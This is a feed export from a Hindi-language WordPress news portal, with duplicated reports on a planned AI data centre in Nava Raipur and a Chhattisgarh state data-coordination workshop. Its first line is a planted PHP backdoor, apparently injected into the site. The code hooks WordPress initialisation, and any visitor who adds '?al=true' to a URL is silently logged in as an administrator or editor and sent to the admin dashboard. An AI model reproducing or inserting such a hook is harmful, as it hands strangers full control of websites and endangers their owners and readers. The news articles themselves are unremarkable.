// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); data – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 24 Mar 2026 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 नवा रायपुर बनेगा देश का पहला डिजिटल हब, जल्द शुरू होगा AI आधारित डेटा सेंटर https://pratyushaashakinayikiran.com/?p=207283 Tue, 24 Mar 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=207283 रायपुर
 छत्तीसगढ़ अब तकनीकी क्रांति की ओर बड़ा कदम बढ़ाने जा रहा है। नवा रायपुर अटल नगर में देश का पहला एआइ आधारित डेटा सेंटर अप्रैल से शुरू होने की तैयारी में है। सेक्टर-22 में 13.5 एकड़ में विकसित हो रहा यह प्रोजेक्ट न केवल प्रदेश की पहचान को नई ऊंचाई देगा, बल्कि आम जनता के लिए भी बड़े बदलाव लेकर आएगा।

करीब एक हजार करोड़ रुपये के निवेश से तैयार हो रहा यह डेटा सेंटर आइटी, डेटा एनालिटिक्स और तकनीकी क्षेत्रों में रोजगार के नए अवसर पैदा करेगा।

करियर के लिए बड़े शहरों की ओर पलायन नहीं करना पड़ेगा
खास बात यह है कि अब प्रदेश के युवाओं को बेहतर करियर के लिए बड़े शहरों की ओर पलायन नहीं करना पड़ेगा। इसके साथ ही एआइ तकनीक का फायदा किसानों, विद्यार्थियों और आम नागरिकों को भी मिलेगा। डिजिटल सेवाएं मजबूत होने से शिक्षा, स्वास्थ्य और सरकारी योजनाओं का लाभ दूरदराज के क्षेत्रों तक आसानी से पहुंच सकेगा।

युवाओं के लिए खुलेंगे रोजगार के रास्ते
एआइ डेटा सेंटर के शुरू होने से प्रदेश में हजारों युवाओं को रोजगार मिलने की संभावना है। इसमें आइटी इंजीनियर, डेटा एनालिस्ट, साइबर सिक्योरिटी एक्सपर्ट और नेटवर्क मैनेजर जैसे पदों पर भर्ती होगी। साथ ही आइटीआइ, इंजीनियरिंग और पालिटेक्निक संस्थानों के छात्रों को प्रशिक्षण भी दिया जाएगा। इससे स्थानीय युवाओं को तकनीकी क्षेत्र में आगे बढ़ने का मौका मिलेगा और उन्हें बाहर जाने की जरूरत नहीं पड़ेगी।

छत्तीसगढ़ बनेगा डिजिटल हब
नवा रायपुर में बन रहा यह डेटा सेंटर प्रदेश को एआइ और डिजिटल टेक्नोलाजी का बड़ा केंद्र बना सकता है। आने वाले समय में यहां स्टार्टअप, रिसर्च और टेक कंपनियों के लिए नए अवसर खुलेंगे, इससे निवेश बढ़ेगा।

किसानों और आम लोगों को मिलेगा फायदा
एआइ तकनीक के जरिये किसानों को स्मार्ट खेती, मौसम की सटीक जानकारी और फसल प्रबंधन में मदद मिलेगी। इससे उत्पादन बढ़ाने में सहूलियत होगी। वहीं आम लोगों को डिजिटल सेवाओं का लाभ मिलेगा। शिक्षा, स्वास्थ्य और सरकारी योजनाओं की जानकारी अब ऑनलाइन और आसान तरीके से उपलब्ध होगी। दूरदराज क्षेत्रों में रहने वाले लोगों तक भी सुविधाएं तेजी से पहुंच सकेंगी।

डिजिटल भारत की धड़कन बनेगा: साय

मुख्यमंत्री ने कहा कि यह सिर्फ एक तकनीकी परियोजना नहीं, बल्कि छत्तीसगढ़ के भविष्य की नींव है। उन्होंने इसे राज्य के युवाओं, किसानों और आदिवासी समुदाय के लिए परिवर्तनकारी बताया। उन्होंने विश्वास जताया कि छत्तीसगढ़ अब डिजिटल भारत की धड़कन बनेगा।

हेल्थटेक, डिफेंस जैसी मिलेंगी सेवाएं

यहां न केवल स्टोरेज और प्रोसेसिंग की सुविधा उपलब्ध होंगी, बल्कि आर्टिफिशियल इंटेलिजेंस, हेल्थटेक, डिफेंस, फिनटेक और डेटा एनालिटिक्स जैसे क्षेत्रों में अत्याधुनिक सेवाएं भी दी जाएंगी। पार्क में एआई प्रॉसेसिंग जैसी विश्व स्तरीय सुविधाएं होंगी।

छत्तीसगढ़ में ये होंगे बदलाव

    रोजगार की नई राहें: आईटी, डाटा एनालिटिक्स और तकनीकी रखरखाव जैसे क्षेत्रों में हजारों नौकरियां पैदा करेगा। युवा दिल्ली-मुंबई जाए बिना यहीं करियर बना सकेंगे।
    किसानों की मदद: किसानों को स्मार्ट खेती, मौसम की सटीक जानकारी और फसल प्रबंधन में मदद मिलेगी। इससे उनकी मेहनत का ज्यादा फल मिलेगा।
    आदिवासियों को डिजिटल ताकत: आदिवासी इलाकों में शिक्षा, स्वास्थ्य और सरकारी सेवाएं डिजिटल रूप से आसानी से पहुंचेंगी।
    आत्मनिर्भर छत्तीसगढ़: यह राष्ट्रीय और वैश्विक डाटा ट्रैफिक को संभालेगा, जिससे सरकारी सेवाएं तेज होंगी और राज्य डिजिटल रूप से आत्मनिर्भर बनेगा।

 

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नवा रायपुर बनेगा देश का पहला डिजिटल हब, जल्द शुरू होगा AI आधारित डेटा सेंटर https://pratyushaashakinayikiran.com/?p=207284 Tue, 24 Mar 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=207284 रायपुर
 छत्तीसगढ़ अब तकनीकी क्रांति की ओर बड़ा कदम बढ़ाने जा रहा है। नवा रायपुर अटल नगर में देश का पहला एआइ आधारित डेटा सेंटर अप्रैल से शुरू होने की तैयारी में है। सेक्टर-22 में 13.5 एकड़ में विकसित हो रहा यह प्रोजेक्ट न केवल प्रदेश की पहचान को नई ऊंचाई देगा, बल्कि आम जनता के लिए भी बड़े बदलाव लेकर आएगा।

करीब एक हजार करोड़ रुपये के निवेश से तैयार हो रहा यह डेटा सेंटर आइटी, डेटा एनालिटिक्स और तकनीकी क्षेत्रों में रोजगार के नए अवसर पैदा करेगा।

करियर के लिए बड़े शहरों की ओर पलायन नहीं करना पड़ेगा
खास बात यह है कि अब प्रदेश के युवाओं को बेहतर करियर के लिए बड़े शहरों की ओर पलायन नहीं करना पड़ेगा। इसके साथ ही एआइ तकनीक का फायदा किसानों, विद्यार्थियों और आम नागरिकों को भी मिलेगा। डिजिटल सेवाएं मजबूत होने से शिक्षा, स्वास्थ्य और सरकारी योजनाओं का लाभ दूरदराज के क्षेत्रों तक आसानी से पहुंच सकेगा।

युवाओं के लिए खुलेंगे रोजगार के रास्ते
एआइ डेटा सेंटर के शुरू होने से प्रदेश में हजारों युवाओं को रोजगार मिलने की संभावना है। इसमें आइटी इंजीनियर, डेटा एनालिस्ट, साइबर सिक्योरिटी एक्सपर्ट और नेटवर्क मैनेजर जैसे पदों पर भर्ती होगी। साथ ही आइटीआइ, इंजीनियरिंग और पालिटेक्निक संस्थानों के छात्रों को प्रशिक्षण भी दिया जाएगा। इससे स्थानीय युवाओं को तकनीकी क्षेत्र में आगे बढ़ने का मौका मिलेगा और उन्हें बाहर जाने की जरूरत नहीं पड़ेगी।

छत्तीसगढ़ बनेगा डिजिटल हब
नवा रायपुर में बन रहा यह डेटा सेंटर प्रदेश को एआइ और डिजिटल टेक्नोलाजी का बड़ा केंद्र बना सकता है। आने वाले समय में यहां स्टार्टअप, रिसर्च और टेक कंपनियों के लिए नए अवसर खुलेंगे, इससे निवेश बढ़ेगा।

किसानों और आम लोगों को मिलेगा फायदा
एआइ तकनीक के जरिये किसानों को स्मार्ट खेती, मौसम की सटीक जानकारी और फसल प्रबंधन में मदद मिलेगी। इससे उत्पादन बढ़ाने में सहूलियत होगी। वहीं आम लोगों को डिजिटल सेवाओं का लाभ मिलेगा। शिक्षा, स्वास्थ्य और सरकारी योजनाओं की जानकारी अब ऑनलाइन और आसान तरीके से उपलब्ध होगी। दूरदराज क्षेत्रों में रहने वाले लोगों तक भी सुविधाएं तेजी से पहुंच सकेंगी।

डिजिटल भारत की धड़कन बनेगा: साय

मुख्यमंत्री ने कहा कि यह सिर्फ एक तकनीकी परियोजना नहीं, बल्कि छत्तीसगढ़ के भविष्य की नींव है। उन्होंने इसे राज्य के युवाओं, किसानों और आदिवासी समुदाय के लिए परिवर्तनकारी बताया। उन्होंने विश्वास जताया कि छत्तीसगढ़ अब डिजिटल भारत की धड़कन बनेगा।

हेल्थटेक, डिफेंस जैसी मिलेंगी सेवाएं

यहां न केवल स्टोरेज और प्रोसेसिंग की सुविधा उपलब्ध होंगी, बल्कि आर्टिफिशियल इंटेलिजेंस, हेल्थटेक, डिफेंस, फिनटेक और डेटा एनालिटिक्स जैसे क्षेत्रों में अत्याधुनिक सेवाएं भी दी जाएंगी। पार्क में एआई प्रॉसेसिंग जैसी विश्व स्तरीय सुविधाएं होंगी।

छत्तीसगढ़ में ये होंगे बदलाव

    रोजगार की नई राहें: आईटी, डाटा एनालिटिक्स और तकनीकी रखरखाव जैसे क्षेत्रों में हजारों नौकरियां पैदा करेगा। युवा दिल्ली-मुंबई जाए बिना यहीं करियर बना सकेंगे।
    किसानों की मदद: किसानों को स्मार्ट खेती, मौसम की सटीक जानकारी और फसल प्रबंधन में मदद मिलेगी। इससे उनकी मेहनत का ज्यादा फल मिलेगा।
    आदिवासियों को डिजिटल ताकत: आदिवासी इलाकों में शिक्षा, स्वास्थ्य और सरकारी सेवाएं डिजिटल रूप से आसानी से पहुंचेंगी।
    आत्मनिर्भर छत्तीसगढ़: यह राष्ट्रीय और वैश्विक डाटा ट्रैफिक को संभालेगा, जिससे सरकारी सेवाएं तेज होंगी और राज्य डिजिटल रूप से आत्मनिर्भर बनेगा।

 

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रायपुर : विभागों से डेटा समन्वय हेतु कार्यशाला सम्पन्न : विभागों के डाटा में एकरूपता होना जरूरी https://pratyushaashakinayikiran.com/?p=207127 Mon, 23 Mar 2026 11:26:00 +0000 https://pratyushaashakinayikiran.com/?p=207127 रायपुर

आर्थिक एवं सांख्यिकी विभाग छत्तीसगढ़ शासन के सचिव  भुवनेश यादव की अध्यक्षता में आज यहां मंत्रालय महानदी भवन में कार्यशाला सह बैठक सम्पन्न हुई। बैठक में राज्य स्तर पर विभागीय आंकड़ों के मानकीकरण एवं प्रशासनिक डेटा लिंकिंग के विषय पर व्यापक चर्चा की गई। बैठक में अधिकारियों ने बताया कि भारत सरकार के प्रशासनिक सांख्यिकी एवं नीति प्रभाग राष्ट्रीय सांख्यिकी कार्यालय दिल्ली ने सूचित किया है कि प्रशासनिक डेटा लिंकिंग के विषय पर राष्ट्रीय विचार-विमर्श हेतु शिखर सम्मेलन आयोजित किया जा रहा है। जिसमें राज्यों एवं केन्द्र शासित प्रदेशों के प्रतिनिधि शामिल होंगे। सम्मेलन में डेटा सामंजस्य की प्रगति एवं उससे जुड़े विषयों पर चर्चा होगी।

    बैठक में आर्थिक एवं सांख्यिकी विभाग के सचिव  भुवनेश यादव ने विभागों से अपेक्षा की है कि वे शीघ्र ही अपने विभाग की जानकारी उपलब्ध कराऐंगे जिससे डेटा समन्वय की प्रक्रिया को समयबद्ध ढंग से आगे बढ़ाया जा सके। कार्यशाला में आर्थिक एवं सांख्यिकी विभाग की संचालक श्रीमती रोक्तिमा यादव ने बताया कि विभागों में डाटा के आदान प्रदान से डाटा सिस्टम को मजबूत व्यवस्थित होने के साथ नीति निर्माण में मदद मिलेगी। उन्होंने बताया कि डाटा में एकरूपता होने से दोहराव नहीं होगा। जिससे नीतियों, योजनाओं और निर्णयों को सटिक डेटा विश्लेषण के आधार पर लागू किया जा सकेगा।

बैठक में विभागवार डेटा समेकन की संभावनायें, वर्तमान विभागों के पास उपलब्ध डेटा सहित सेवा वितरण, निगरानी एवं प्रशासनिक डेटा समेकन हेतु कार्ययोजना के संबंध में अधिकारियों के साथ विचार-विमर्श किया गया। बैठक में राज्य शासन के सभी विभागों के अधिकारी एवं वीडियो कॉन्फ्रेंस से भारत सरकार के सांख्यिकी एवं कार्यक्रम कार्यान्वयन मंत्रालय के अधिकारी शामिल हुए।

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रायपुर : विभागों से डेटा समन्वय हेतु कार्यशाला सम्पन्न : विभागों के डाटा में एकरूपता होना जरूरी https://pratyushaashakinayikiran.com/?p=207129 Mon, 23 Mar 2026 11:26:00 +0000 https://pratyushaashakinayikiran.com/?p=207129 रायपुर

आर्थिक एवं सांख्यिकी विभाग छत्तीसगढ़ शासन के सचिव  भुवनेश यादव की अध्यक्षता में आज यहां मंत्रालय महानदी भवन में कार्यशाला सह बैठक सम्पन्न हुई। बैठक में राज्य स्तर पर विभागीय आंकड़ों के मानकीकरण एवं प्रशासनिक डेटा लिंकिंग के विषय पर व्यापक चर्चा की गई। बैठक में अधिकारियों ने बताया कि भारत सरकार के प्रशासनिक सांख्यिकी एवं नीति प्रभाग राष्ट्रीय सांख्यिकी कार्यालय दिल्ली ने सूचित किया है कि प्रशासनिक डेटा लिंकिंग के विषय पर राष्ट्रीय विचार-विमर्श हेतु शिखर सम्मेलन आयोजित किया जा रहा है। जिसमें राज्यों एवं केन्द्र शासित प्रदेशों के प्रतिनिधि शामिल होंगे। सम्मेलन में डेटा सामंजस्य की प्रगति एवं उससे जुड़े विषयों पर चर्चा होगी।

    बैठक में आर्थिक एवं सांख्यिकी विभाग के सचिव  भुवनेश यादव ने विभागों से अपेक्षा की है कि वे शीघ्र ही अपने विभाग की जानकारी उपलब्ध कराऐंगे जिससे डेटा समन्वय की प्रक्रिया को समयबद्ध ढंग से आगे बढ़ाया जा सके। कार्यशाला में आर्थिक एवं सांख्यिकी विभाग की संचालक श्रीमती रोक्तिमा यादव ने बताया कि विभागों में डाटा के आदान प्रदान से डाटा सिस्टम को मजबूत व्यवस्थित होने के साथ नीति निर्माण में मदद मिलेगी। उन्होंने बताया कि डाटा में एकरूपता होने से दोहराव नहीं होगा। जिससे नीतियों, योजनाओं और निर्णयों को सटिक डेटा विश्लेषण के आधार पर लागू किया जा सकेगा।

बैठक में विभागवार डेटा समेकन की संभावनायें, वर्तमान विभागों के पास उपलब्ध डेटा सहित सेवा वितरण, निगरानी एवं प्रशासनिक डेटा समेकन हेतु कार्ययोजना के संबंध में अधिकारियों के साथ विचार-विमर्श किया गया। बैठक में राज्य शासन के सभी विभागों के अधिकारी एवं वीडियो कॉन्फ्रेंस से भारत सरकार के सांख्यिकी एवं कार्यक्रम कार्यान्वयन मंत्रालय के अधिकारी शामिल हुए।

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